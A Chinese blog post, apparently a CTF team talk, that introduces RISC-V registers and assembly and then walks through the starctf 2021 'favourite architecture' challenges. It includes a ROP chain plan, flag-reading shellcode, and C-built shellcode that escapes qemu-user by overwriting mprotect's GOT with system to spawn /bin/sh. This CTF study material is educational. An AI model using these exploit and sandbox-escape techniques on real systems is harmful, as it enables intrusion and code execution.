0%

First Presentation in Kap0k

RISC-V的分享

讲一讲RISC-V的内容吧,最近跟着一个跟RISC-V有关的开源项目玩了一下,对RISC-V有最基本的了解,就分享一下吧。

第一次做队内分享,讲的不对的话请大哥们指正。

RISC-V了解

在qemu编译的时候写一写,等啊等

RISC-V作为PC端和嵌入式设备的新架构,不像x86那样有沉重的历史包袱,相比更加的精简与现代化。

去年华为专场的那场CTF就有挺多RISC-V方面的pwn题,了解了不亏。

RISC-V是大势所趋(逃

RISC-V Cheat Sheet

RISC-V的寄存器

RISC-V的寄存器有32个,从x0x31。根据官方的调用规范,各寄存器有以下的性质:

  • zero(x0)是特殊的寄存器,任何时候值都为0。

  • ra(x1)储存返回地址,在函数调用过程中会时常变化。caller saved

  • sp(x2)相当于x86的rsp/esp,储存栈顶地址。callee saved

  • gp(x3)tp(x4)这两个寄存器很特殊,程序运行过程都不会变化,作用嘛,我想想……

  • a0(x10)-a7(x17)是储存当前调用函数参数的寄存器。特别地:a0类似rax,储存返回值,a7传syscall的调用号。

  • pc即program counter。

  • t1-t6,是caller saved的temp寄存器。

  • s1-s11,是callee saved的temp寄存器。

RISC-V汇编语句

还在等toolchain的编译,忘开多进程了

在RISC-V中,想控制寄存器

由于汇编语句很多,并且存在很多伪指令(类似高级程序语言概念中的语法糖?),就只列举出重要的出来讲吧。

%hi(x)%lo(x)分别表示取x寄存器的高地址和低地址。

lb t0, 8(sp)sb t0, 8(sp)是对称的,分别是读取内存储存到寄存器和读取寄存器恢复内存原始状态。

如何实现函数调用时的跳转?有两条汇编指令非常常用:

作用是在$r_d$上保存下当前栈帧的ra,然后pc会跳转到与pc或者$r_s$的offset为$imm$的地址处。

而当函数要跳转回来时,相似地有ret的伪指令,这条指令会被认为是jalr x0, 0(x1)

关于caller saved和callee saved的细节讨论

找到一篇不错的文章,不懂的时候查一查就可以了。

RISC-V实例

随便写了个类似helloworld的东西,拿到的helloworld.s,可以分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
.file	"helloworld.c"
.option nopic
.text
.section .rodata
.align 3
.LC0:
.string "Helloworld, %d"
.text
.align 1
.globl helloworld
.type helloworld, @function
helloworld:
# prologue
addi sp,sp,-32
sd ra,24(sp)
sd s0,16(sp)

# main part
addi s0,sp,32
mv a5,a0 # source of second parameter
sw a5,-20(s0)
lw a5,-20(s0)
mv a1,a5 # second parameter
lui a5,%hi(.LC0)
addi a0,a5,%lo(.LC0) # first parameter
call printf
nop

# epilogue
ld ra,24(sp)
ld s0,16(sp)
addi sp,sp,32
jr ra
.size helloworld, .-helloworld
.section .rodata
.align 3
.LC1:
.string "%d"
.text
.align 1
.globl main
.type main, @function
main:
# prologue of main
addi sp,sp,-32
sd ra,24(sp)
sd s0,16(sp)

# main part
addi s0,sp,32
addi a5,s0,-20
mv a1,a5 # second parameter: address of x
lui a5,%hi(.LC1)
addi a0,a5,%lo(.LC1) # first parameter: "helloworld, %d"
call __isoc99_scanf
lw a5,-20(s0)
mv a0,a5 # first parameter: address of x
call helloworld
li a5,0 # clear a5
mv a0,a5 # clear a0

# epilogue of main
ld ra,24(sp)
ld s0,16(sp)
addi sp,sp,32
jr ra
.size main, .-main
.ident "GCC: (GNU) 10.2.0"
.section .note.GNU-stack,"",@progbits

RISC-V环境配置

Ubuntu 18.04中可以配置RISC-V GNU Toolchain,内含RISCV架构下的gccgdbasldreadelf等必不可少的工具。

同时当然也需要安装qemu,方便运行RV64的二进制文件。

有趣的是:以上的工具都需要编译安装,所需时间稍长。建议make的时候手动把进程拉满。

例题:starctf 2021 pwn&re favorite architecture

favorite architecture 1

有个patch挺重要的,要先看一看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
diff --git a/linux-user/syscall.c b/linux-user/syscall.c
index 27adee9..2d75464 100644
--- a/linux-user/syscall.c
+++ b/linux-user/syscall.c
@@ -13101,8 +13101,31 @@ abi_long do_syscall(void *cpu_env, int num, abi_long arg1,
print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6);
}

- ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
- arg5, arg6, arg7, arg8);
+ switch (num) {
+ // syscall whitelist
+ case TARGET_NR_brk:
+ case TARGET_NR_uname:
+ case TARGET_NR_readlinkat:
+ case TARGET_NR_faccessat:
+ case TARGET_NR_openat2:
+ case TARGET_NR_openat:
+ case TARGET_NR_read:
+ case TARGET_NR_readv:
+ case TARGET_NR_write:
+ case TARGET_NR_writev:
+ case TARGET_NR_mmap:
+ case TARGET_NR_munmap:
+ case TARGET_NR_exit:
+ case TARGET_NR_exit_group:
+ case TARGET_NR_mprotect:
+ ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
+ arg5, arg6, arg7, arg8);
+ break;
+ default:
+ printf("[!] %d bad system call\n", num);
+ ret = -1;
+ break;
+ }

if (unlikely(qemu_loglevel_mask(LOG_STRACE))) {
print_syscall_ret(cpu_env, num, ret, arg1, arg2,

意思就是过滤了RISC-V的syscall指令,只剩下这几个让你用,没有execve

checksec一下main文件,保护几乎都关了,ASLR也没有。是静态链接的二进制文件。

反编译打开,搜一下跟”flag”有关的字符串,定位main函数。

结果发现符号表没了,不能正常地得到编译结果,只能看到汇编。

在博客上找到一种解决方法:

反编译出现 unknown error 时得手动改 gp 为 0x6f178(ctrl-A → ctrl-R → 找到gp寄存器并修改)(感谢@X1do0发现的解决方案)

在哪里找得到?在0x101ec可以看见:

得到的主函数反编译结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
undefined8 UndefinedFunction_00010400(void) {
ulonglong uVar1;
longlong lVar2;
undefined auStack488 [192];
undefined auStack296 [256];
ulonglong uStack40;
longlong lStack32;
int iStack20;// cnt

FUN_00017d74(PTR_DAT_0006ea28,0);// setvbuf
FUN_00017d74(PTR_DAT_0006ea20,0);// setvbuf
FUN_00017d74(PTR_DAT_0006ea18,0);// setvbuf
FUN_0001605a("Input the flag: ");// output
FUN_00016a5a(auStack296);// read your input
uVar1 = FUN_000204e4(auStack296);// get string
if (uVar1 == ((longlong)(iRam000000000006e9dc + iRam000000000006e9d8) & 0xffffffffU)) {
lStack32 = FUN_00020386(auStack296 + ((longlong)iRam000000000006e9d8 & 0xffffffff));
FUN_0001118a(auStack488,"tzgkwukglbslrmfjsrwimtwyyrkejqzo","oaeqjfhclrqk",0x80);
FUN_000111ea(auStack488,auStack296,iRam000000000006e9d8);
lVar2 = FUN_00020e2a(auStack296,&DAT_0006d000,iRam000000000006e9d8);
if (lVar2 == 0) {
uStack40 = FUN_000204e4(lStack32);
iStack20 = 0;
while( true ) {
if (uStack40 >> 3 <= (ulonglong)(longlong)iStack20) {
FUN_00016bc8("You are right :D");// output
gp = (undefined *)0x6f178;
return 0;
}
FUN_000102ae(iStack20 * 8 + lStack32,&DAT_0006d060);
lVar2 = FUN_00020e2a(iStack20 * 8 + lStack32,(longlong)(iStack20 * 8) + 0x6d030,8);
if (lVar2 != 0) break;
iStack20 = iStack20 + 1;
}
}
}
FUN_00016bc8("You are wrong ._.");// output
gp = (undefined *)0x6f178;
return 1;
}

其实读入部分就是一个栈溢出,就有很多解法,既可以写shellcode,也可以写ROP。

RISC-V下的syscall跟x86的还是不一样,具体看表

如果用ROP打的话,ret2csu在rv64也是很好用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
00011772 93 07 84 b8     addi       a5,s0,-0x478
00011776 13 09 09 b9 addi s2,s2,-0x470
0001177a 33 09 f9 40 sub s2,s2,a5
0001177e 13 59 39 40 srai s2,s2,0x3
00011782 63 0e 09 00 beq s2,zero,LAB_0001179e
00011786 13 04 84 b8 addi s0,s0,-0x478
0001178a 81 44 c.li s1,0x0
LAB_0001178c XREF[1]: 0001179a(j)
0001178c 1c 60 c.ld a5=>->FUN_00010284,0x0(s0=>->FUN_00010250) = 00010284
= 00010250
0001178e 56 86 c.mv a2,s5
00011790 d2 85 c.mv a1,s4
00011792 4e 85 c.mv a0,s3
00011794 85 04 c.addi s1,0x1
00011796 82 97 c.jalr a5=>FUN_00010284 undefined FUN_00010250()
undefined FUN_00010284()
00011798 21 04 c.addi s0,0x8
0001179a e3 19 99 fe bne s2,s1,LAB_0001178c
LAB_0001179e XREF[1]: 00011782(j)
0001179e e2 70 c.ldsp ra,0x38(sp)
000117a0 42 74 c.ldsp s0,0x30(sp)
000117a2 a2 74 c.ldsp s1,0x28(sp)
000117a4 02 79 c.ldsp s2,0x20(sp)
000117a6 e2 69 c.ldsp s3,0x18(sp)
000117a8 42 6a c.ldsp s4,0x10(sp)
000117aa a2 6a c.ldsp s5,0x8(sp)
000117ac 21 61 c.addi16sp sp,0x40
000117ae 82 80 ret

因为代码是一样的,只是在架构层面不同,大体思路跟x86下利用是差不多的,不过还是有些差别。

  1. 第一条ROP:0x1179e。控制s0为gets + 0x478,控制s2为gets + 0x470,控制ra为0x11772。
  2. 执行完ret后跳到第二条ROP:0x11772。通过第一步的构造我们能够满足0x11782的beq条件成立,直接跳转到0x1179e。
  3. 第三条ROP:0x1179e。控制s3为bss地址,s1为0,s2为1,ra为0x1178e。
  4. 执行完ret后调到第四条ROP:0x1178e。a0为bss地址,s1=0+1=1=s2,满足0x11796的跳转条件,执行gets(bss_addr)

同时shellcode也同样可行,主要的思路是运用三个RISC-V下的系统调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ riscv64-unknown-linux-gnu-as shellcode.s -o shellcode
$ riscv64-unknown-linux-gnu-objcopy -S -o binary -j .text shellcode shellcode.bin

.section .text
.globl _start
.option rvc
_start:

li a1,0x67616c66 #flag
sd a1,8(sp)
addi a1,sp,8
li a0,-100
li a2,0
li a7, 56 # 56: openat
ecall

c.mv a2,a7
addi a7,a7,7 # 63: read
ecall
li a0, 1
addi a7,a7,1 # 64: write
ecall

这三个系统调用都在白名单里面,写好shellcode直接注入即可。

favourite architecture 2

第一次接触这种qemu沙箱逃逸的题目,看了好多师傅的博客,终于差不多看懂了,做一下记录。

之所以可以从qemu中逃逸出来,是因为qemu-user的内存布局跟主系统的内存布局有很紧密的联系。

经过测试,从qemu-user的沙箱里面,基本可以向qemu执行的程序之外的一定内存空间做任意地址读、任意地址写。

同样是利用上一题栈溢出的漏洞为基础继续做,只不过这次不读取flag,读取/proc/self/maps,查看内存情况。

本来想在gdb里面调试看内存的,结果看不见前面的内存。

msk师傅告诉我这是虚拟地址,确实是这样。

可以通过访问/proc/self/maps看到当前内存布局,结果发现看了个寂寞:

有师傅去看了qemu的源码分析,发现原来是qemu塞了个假的内存分布信息给你。(你被骗了

师傅们有很多的解法,其中一种是改成/./proc/self/maps,就能得到正确的内存分布情况。

剩下的内容就是pwn的常规操作:

  1. 通过实际内存分布信息,找到qemu的基地址和libc的基地址。
  2. 查偏移,查出mprotect@gotsystem和rodata的偏移,利用前面的两个基地址推出实际地址。
  3. 首先利用mprotect把rodata的一段内容改为可写,并在这段首写入/bin/sh\x00
  4. 劫持mprotect的got表为system函数。
  5. 最后执行shellcode,调用mprotect@got,参数为rodata段首,执行system("/bin/sh\x00")

只不过这道题要劫持控制流,比较方便的方法还是使用ret2shellcode。

可以利用C生成出shellcode,下面是示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
int openat(int dirfd, char* pathname, int flags);
int read(int fd, void *buf,int size);
int write(int fd, void *buf, int size);
int mprotect(void* addr, unsigned long len, int prot);
void exit(int no);

int main() {

char filename[32];
filename[0] = '/';
filename[1] = '.';
filename[2] = '/';
filename[3] = 'p';
filename[4] = 'r';
filename[5] = 'o';
filename[6] = 'c';
filename[7] = '/';
filename[8] = 's';
filename[9] = 'e';
filename[10] = 'l';
filename[11] = 'f';
filename[12] = '/';
filename[13] = 'm';
filename[14] = 'a';
filename[15] = 'p';
filename[16] = 's';
filename[17] = '\0';

unsigned char *buf = (unsigned char*)0x6d000;
int fd = openat(0, filename, 0);
read(fd, buf, 0xF80);
write(1, buf, 0xF80);
read(fd, buf, 0xF80);
write(1, buf, 0xF80);
read(fd, buf, 0xF80);
write(1, buf, 0xF80);

unsigned long rodata;
unsigned long mprotect_got;
unsigned long system_addr;

read(0, &rodata, 8);
read(0, &mprotect_got, 8);
read(0, &system_addr, 8);
mprotect((void *)rodata, 0x3c000, 7);

*(unsigned long *)mprotect_got = system_addr;

buf[0] = '/';
buf[1] = 'b';
buf[2] = 'i';
buf[3] = 'n';
buf[4] = '/';
buf[5] = 's';
buf[6] = 'h';
buf[7] = '\0';

mprotect(buf, 0x1000, 7); // this will call system("/bin/sh")
exit(0);
}


asm("openat:\n"
"li a7, 56\n"
"ecall\n"
"ret\n");



asm("read:\n"
"li a7, 63\n"
"ecall\n"
"ret\n");


asm("write:\n"
"li a7, 64\n"
"ecall\n"
"ret\n");


asm("mprotect:\n"
"li a7, 226\n"
"ecall\n"
"ret\n");


asm("exit:\n"
"li a7, 93\n"
"ecall\n"
"ret\n");

reference

  1. https://en.wikipedia.org/wiki/RISC-V
  2. https://inst.eecs.berkeley.edu/~cs61c/resources/su18_lec/Lecture7.pdf
  3. https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/14/getshell2/
  4. https://github.com/BrieflyX/ctf-pwns/tree/master/escape/favourite_architecture
  5. https://pullp.github.io/2021/01/23/starctf-2021-writeup/